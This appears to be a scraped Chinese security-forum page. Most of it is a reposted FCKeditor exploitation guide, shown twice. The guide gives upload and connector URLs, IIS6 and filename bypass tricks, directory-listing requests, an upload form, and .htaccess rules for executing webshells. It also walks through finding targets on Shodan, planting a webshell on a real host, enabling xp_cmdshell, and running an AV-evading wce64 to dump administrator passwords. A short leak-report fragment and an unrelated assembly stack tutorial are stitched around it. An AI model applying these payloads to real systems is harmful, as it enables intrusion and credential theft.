关于这类的问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0199607.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0191202.html
④:数据库文件

一些数据库相关文件如果删除不当或者摆放位置不当,那么极有可能被下载下来,造成危害。

关于这方面,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0158556.html
⑤:其它文件

比如其它类型的文件,如Txt、Doc、Excel等文件,如果包含铭感信息,那么危害也是显而易见的。

以上就是关于数据库信息以及服务器信息泄露的问题!

Fckeditor漏洞总结(转)

Web安全渗透fireant 发表了文章 • 1 个评论 • 279 次浏览 • 2019-03-18 16:45 • 来自相关话题

Fckeditor漏洞总结(转)
最近进行漏洞挖掘时遇到不少Fckeditor编辑器,找到一篇总结文章
1.1Fckeditor漏洞总结
   有些漏洞看起来简单,级别比较低,不如SQL注入等漏洞来的直接,但在条件合适的情况下,小漏洞发挥大作用,一直以来都想做一个Fckeditor漏洞总结,免得每次遇到目标都需要重新搜索,浪费时间。
 
1.1.1FCKeditor编辑器漏洞利用总结
 
1.判断fckeditor版本
通过/fckeditor/editor/dialog/fck_about.html和/FCKeditor/_whatsnew.html页面文件中的版本号来确定。例如访问http://***.1**.***.***:8081/fckeditor/_whatsnew.html,获知其版本号为2.4.3。
 
2.常见的测试上传地址
  Fckeditor编辑器默认会存在test.html和uploadtest.html文件,直接访问这些文件可以获取当前文件夹文件名称以及上传文件,有的版本可以直接上传任意文件类型,测试上传地址有:(1)FCKeditor/editor/filemanager/browser/default/connectors/test.html

(2)FCKeditor/editor/filemanager/upload/test.html

(3)FCKeditor/editor/filemanager/connectors/test.html

(4)FCKeditor/editor/filemanager/connectors/uploadtest.html


 3.示例上传地址FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

FCKeditor/_samples/default.html

FCKeditor/editor/fckeditor.htm

FCKeditor/editor/fckdialog.html
 4.常见的上传地址
(1)connector.aspx文件FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp 
(2)browser.html文件FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php 
 
5. Windows 2003+IIS6文件解析路径漏洞
   通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。其shell地址为: http://www.somesite.com/images/upload/201806/image/1.asp/1.jpg  
6.iis6突破文件夹限制Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp 
 
7.突破文件名限制
(1)二次重复上传文件突破“.”变成“-”限制
新版FCK上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg
(2)提交shell.php+空格绕过
空格只支持windows系统,linux系统是不支持的,可提交shell.php+空格来绕过文件名限制。
 
8.列目录
(1)FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。
(2)根据xml返回信息查看网站目录http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp 
(3)获取当前文件夹FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
(4)浏览E盘文件/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/ 
(5)JSP 版本FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/ 
9.修改Media 类型进行上传
FCKeditor 2.4.2  For php以下版本在处理PHP上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址为实际地址:<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form> 
 
10.htaccess文件突破
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
(1).htaccess文件内容AppType  application/x-httpd-php  .jpg 
另外一种方法也可以,其内容为: <FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch> 
上传带cimer后缀的webshell文件,访问地址即可得到webshell
(2)上传.htaccess文件
(3)上传图片木马
(4)借助该漏洞,可以实现webshell的访问
 
1.1.2搜索FCKeditor目标
 
1.在shodan.io网站搜索FCKeditor关键字
   在shodan.io网站搜索FCKeditor关键字https://www.shodan.io/search?query=”FCKeditor”对关键字进行查询,不同的关键字其出来的效果不一样。 
 
2.逐个查看目标记录信息
   对shodan.io网站搜索的24条记录进行逐个查看,也即单击shodan搜索记录中的Details链接,即可查看目标的详细信息,如图3所示,建议新建窗口打开该链接地址,在该IP地址信息中包含国家、城市、组织、ISP和端口等信息。
 
1.1.3漏洞利用及分析
 
1.根据端口访问服务器
   单击shodan中搜索出来的服务信息中的绿色转向箭头即可直接访问目标服务器。
 
 
2.对网站目录进行逐个查看获取Fckedit漏洞利用页面
   通过对该网站fckeditor 编辑器所在文件夹进行逐层访问,获取其上传测试页面地址:http://***.1**.***.***:8081/fckeditor/editor/filemanager/upload/test.html
 
3.查看和验证上传文件
    如图6所示,到该网站/UserFiles/目录,可以看到上传的2014.aspx及cmd.php文件。
 
 
4.获取webshell及数据库密码
单击/UserFiles/目录中的2014.aspx文件,直接获取webshell。
 
 
5.服务器提权并获取服务器密码
(1)获取服务器架构
(2)连接数据库恢复xp_cmdshell
    在webshell中单击DataBase进行数据库管理,选择mssql,然后输入sa账号对应的密码,进行连接,连接成功后,在SQLExec中选择Add xp_cmdshell。
(3)获取当前数据库管理员密码明文
将wce64.exe进行免杀处理,然后上传到服务器上,通过xp_cmdshell执行命令:
Exec master.dbo.xp_cmdshell 'E:\dlty\UserFiles\wce64 -w'
 
 1.1.4渗透总结及分析
1. sqlserver 2000直接提权。在本例中还可以通过sqlmap进行mssql数据库直连进行提权以及执行命令等操作,由于本案例中的数据库是sqlserver 2000,sa账号可以直接提权到服务器权限。
2.Fckeditor中的test.html文件可以直接上传任意文件类型
3.可以通过Fckeditor还可以浏览目录。这个在渗透中特别有用,可以用来查看网站的目录结构,运气好,可以查看xml配置文件,以及下载源代码文件等。
4.在本案例中的目录信息危害太大。可以对所有文件及目录进行查看,即使未获取编辑器漏洞,也可以通过源代码文件获取数据库密码。 查看全部
Fckeditor漏洞总结(转)
最近进行漏洞挖掘时遇到不少Fckeditor编辑器,找到一篇总结文章
1.1Fckeditor漏洞总结
   有些漏洞看起来简单,级别比较低,不如SQL注入等漏洞来的直接,但在条件合适的情况下,小漏洞发挥大作用,一直以来都想做一个Fckeditor漏洞总结,免得每次遇到目标都需要重新搜索,浪费时间。
 
1.1.1FCKeditor编辑器漏洞利用总结
 
1.判断fckeditor版本
通过/fckeditor/editor/dialog/fck_about.html和/FCKeditor/_whatsnew.html页面文件中的版本号来确定。例如访问http://***.1**.***.***:8081/fckeditor/_whatsnew.html,获知其版本号为2.4.3。
 
2.常见的测试上传地址
  Fckeditor编辑器默认会存在test.html和uploadtest.html文件,直接访问这些文件可以获取当前文件夹文件名称以及上传文件,有的版本可以直接上传任意文件类型,测试上传地址有:
(1)FCKeditor/editor/filemanager/browser/default/connectors/test.html

(2)FCKeditor/editor/filemanager/upload/test.html

(3)FCKeditor/editor/filemanager/connectors/test.html

(4)FCKeditor/editor/filemanager/connectors/uploadtest.html


 3.示例上传地址
FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

FCKeditor/_samples/default.html

FCKeditor/editor/fckeditor.htm

FCKeditor/editor/fckdialog.html

 4.常见的上传地址
(1)connector.aspx文件
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp
 
(2)browser.html文件
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php
 
 
5. Windows 2003+IIS6文件解析路径漏洞
   通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。其shell地址为: 
http://www.somesite.com/images/upload/201806/image/1.asp/1.jpg 
 
6.iis6突破文件夹限制
Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
 
 
7.突破文件名限制
(1)二次重复上传文件突破“.”变成“-”限制
新版FCK上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg
(2)提交shell.php+空格绕过
空格只支持windows系统,linux系统是不支持的,可提交shell.php+空格来绕过文件名限制。
 
8.列目录
(1)FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。
(2)根据xml返回信息查看网站目录
http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp
 
(3)获取当前文件夹
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
 
(4)浏览E盘文件
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/
 
(5)JSP 版本
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/
 
9.修改Media 类型进行上传
FCKeditor 2.4.2  For php以下版本在处理PHP上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址为实际地址:
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
 
 
10.htaccess文件突破
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
(1).htaccess文件内容
AppType  application/x-httpd-php  .jpg
 
另外一种方法也可以,其内容为: 
<FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch>
 
上传带cimer后缀的webshell文件,访问地址即可得到webshell
(2)上传.htaccess文件
(3)上传图片木马
(4)借助该漏洞,可以实现webshell的访问
 
1.1.2搜索FCKeditor目标
 
1.在shodan.io网站搜索FCKeditor关键字
   在shodan.io网站搜索FCKeditor关键字
https://www.shodan.io/search?query=”FCKeditor”对关键字进行查询,不同的关键字其出来的效果不一样。
 
 
2.逐个查看目标记录信息
   对shodan.io网站搜索的24条记录进行逐个查看,也即单击shodan搜索记录中的Details链接,即可查看目标的详细信息,如图3所示,建议新建窗口打开该链接地址,在该IP地址信息中包含国家、城市、组织、ISP和端口等信息。
 
1.1.3漏洞利用及分析
 
1.根据端口访问服务器
   单击shodan中搜索出来的服务信息中的绿色转向箭头即可直接访问目标服务器。
 
 
2.对网站目录进行逐个查看获取Fckedit漏洞利用页面
   通过对该网站fckeditor 编辑器所在文件夹进行逐层访问,获取其上传测试页面地址:
http://***.1**.***.***:8081/fckeditor/editor/filemanager/upload/test.html

 
3.查看和验证上传文件
    如图6所示,到该网站/UserFiles/目录,可以看到上传的2014.aspx及cmd.php文件。
 
 
4.获取webshell及数据库密码
单击/UserFiles/目录中的2014.aspx文件,直接获取webshell。
 
 
5.服务器提权并获取服务器密码
(1)获取服务器架构
(2)连接数据库恢复xp_cmdshell
    在webshell中单击DataBase进行数据库管理,选择mssql,然后输入sa账号对应的密码,进行连接,连接成功后,在SQLExec中选择Add xp_cmdshell。
(3)获取当前数据库管理员密码明文
将wce64.exe进行免杀处理,然后上传到服务器上,通过xp_cmdshell执行命令:
Exec master.dbo.xp_cmdshell 'E:\dlty\UserFiles\wce64 -w'
 
 1.1.4渗透总结及分析
1. sqlserver 2000直接提权。在本例中还可以通过sqlmap进行mssql数据库直连进行提权以及执行命令等操作,由于本案例中的数据库是sqlserver 2000,sa账号可以直接提权到服务器权限。
2.Fckeditor中的test.html文件可以直接上传任意文件类型
3.可以通过Fckeditor还可以浏览目录。这个在渗透中特别有用,可以用来查看网站的目录结构,运气好,可以查看xml配置文件,以及下载源代码文件等。
4.在本案例中的目录信息危害太大。可以对所有文件及目录进行查看,即使未获取编辑器漏洞,也可以通过源代码文件获取数据库密码。

【转】堆栈和画堆栈图

编程snow 发表了文章 • 0 个评论 • 155 次浏览 • 2019-03-17 21:25 • 来自相关话题

       根据咱们学汇编的经验呀,汇编用的最多的是寄存器和内存之间的不断相互传值传地址,井然有序。
       然而,你知道它们具体是怎么进行数据传递和交换的吗?
 
                                                       
                                                              




       我们知道寄存器能够保存的数据量不多,所以需要存储大量数据的时候就需要保存到内存里面了。
 
         那么:如果我存了一大堆数据,但是我想知道究竟存了多少数据,要怎么办呢?
         如果我想在这对数据里面抽出某一个数据出来使用,要怎么抽呢?
      用完这些数据是继续保存还是丢弃来呢?丢到哪里去呢?
          
                                                                
                                                                 




                       针对以上种种问题,这里有个完美的解决方案—〉堆栈
                                           
                                                                  




                                     NO.1 首先我们来了解下什么是堆栈
                                                                           
                                                              




                                   根据百度百科的记载,堆栈的定义如下
 
                                         




       顾名思义,就是在调用程序的时候,电脑会自动开辟一块内存空间专门用来放数据的,然后我们的数据就会想货物一样一个一个往上堆,需要用到的时候就拿出来使用,当程序执行完之后再腾出空间给其他程序继续使用,这个就是堆栈。
                   这里两个概念需要了解下,一个是栈顶,一个是栈底。
                                  栈顶:顾名思义,就是栈道的顶部啦~
                           栈底:顾名思义,就是栈道的底部啦~
                                                          
                                




          然后呢,通常我们规定使用寄存器里面的EBP寄存器保存一个地址,作为堆栈的栈底,ESP寄存器保存一个地址,作为堆栈的栈顶,用EAX寄存器来保存需要输出的数据。    
      举个例子,可以看到,有个寄存器EBP和ESP所保存的地址如下                        
             
                                    



                                            
          ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓所以它们在堆栈中是这样的↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓  
                                                                                   
                                                      




               ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓现在要实现以下功能↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
                          
                                 




以上的指令含义分别为:1.将立即数“2”压进栈道里,并且栈顶提升4个字节
                                                       2.将立即数“1”压进栈道里,并且栈顶提升4个字节
                                                     3.进入名为“kong”的函数,把地址“0040100F”保存到EIP寄存器     里,并且把00401070(0040106c+0x4)压进栈道,并且栈顶提升4个字节
                                                      4.从函数中出来以后,栈顶esp+8(恢复栈顶)
 
            进入名为“kong”的函数后,需要执行以下的指令:
                            
                                  
                                     




          ↓↓↓↓↓↓↓↓↓↓所以,“准备工作”堆栈图如下↓↓↓↓↓↓↓↓↓↓
                                                       
                                   




  ↓↓↓↓↓↓↓↓↓↓然后,执行完程序之后,堆栈的收尾工作如下↓↓↓↓↓↓↓↓↓↓
                                                                                     
                                                                 




                  
  这篇文章将汇编的堆栈讲的非常详细,对我有非常大的帮助。
 原博地址:https://blog.csdn.net/qq_41884002/article/details/81452889

  查看全部
       根据咱们学汇编的经验呀,汇编用的最多的是寄存器和内存之间的不断相互传值传地址,井然有序。
       然而,你知道它们具体是怎么进行数据传递和交换的吗?
 
                                                       
                                                              
20180806134611410.jpg


       我们知道寄存器能够保存的数据量不多,所以需要存储大量数据的时候就需要保存到内存里面了。
 
         那么:如果我存了一大堆数据,但是我想知道究竟存了多少数据,要怎么办呢?
         如果我想在这对数据里面抽出某一个数据出来使用,要怎么抽呢?
      用完这些数据是继续保存还是丢弃来呢?丢到哪里去呢?
          
                                                                
                                                                 
20180806135233534.jpg


                       针对以上种种问题,这里有个完美的解决方案—〉堆栈
                                           
                                                                  
20180806135631324.jpg


                                     NO.1 首先我们来了解下什么是堆栈
                                                                           
                                                              
20180806140343536.png


                                   根据百度百科的记载,堆栈的定义如下
 
                                         
20180806140745702.png


       顾名思义,就是在调用程序的时候,电脑会自动开辟一块内存空间专门用来放数据的,然后我们的数据就会想货物一样一个一个往上堆,需要用到的时候就拿出来使用,当程序执行完之后再腾出空间给其他程序继续使用,这个就是堆栈。
                   这里两个概念需要了解下,一个是栈顶,一个是栈底。
                                  栈顶:顾名思义,就是栈道的顶部啦~
                           栈底:顾名思义,就是栈道的底部啦~
                                                          
                                
20180806223937357.jpg


          然后呢,通常我们规定使用寄存器里面的EBP寄存器保存一个地址,作为堆栈的栈底,ESP寄存器保存一个地址,作为堆栈的栈顶,用EAX寄存器来保存需要输出的数据。    
      举个例子,可以看到,有个寄存器EBP和ESP所保存的地址如下                        
             
                                    
20180809115839293.png

                                            
          ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓所以它们在堆栈中是这样的↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓  
                                                                                   
                                                      
20180809123200158.png


               ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓现在要实现以下功能↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
                          
                                 
20180809123840740.png


以上的指令含义分别为:1.将立即数“2”压进栈道里,并且栈顶提升4个字节
                                                       2.将立即数“1”压进栈道里,并且栈顶提升4个字节
                                                     3.进入名为“kong”的函数,把地址“0040100F”保存到EIP寄存器     里,并且把00401070(0040106c+0x4)压进栈道,并且栈顶提升4个字节
                                                      4.从函数中出来以后,栈顶esp+8(恢复栈顶)
 
            进入名为“kong”的函数后,需要执行以下的指令:
                            
                                  
                                     
20180809130300994.png


          ↓↓↓↓↓↓↓↓↓↓所以,“准备工作”堆栈图如下↓↓↓↓↓↓↓↓↓↓
                                                       
                                   
20180809133644233.png


  ↓↓↓↓↓↓↓↓↓↓然后,执行完程序之后,堆栈的收尾工作如下↓↓↓↓↓↓↓↓↓↓
                                                                                     
                                                                 
20180809135205265.png


                  
  这篇文章将汇编的堆栈讲的非常详细,对我有非常大的帮助。
 原博地址:https://blog.csdn.net/qq_41884002/article/details/81452889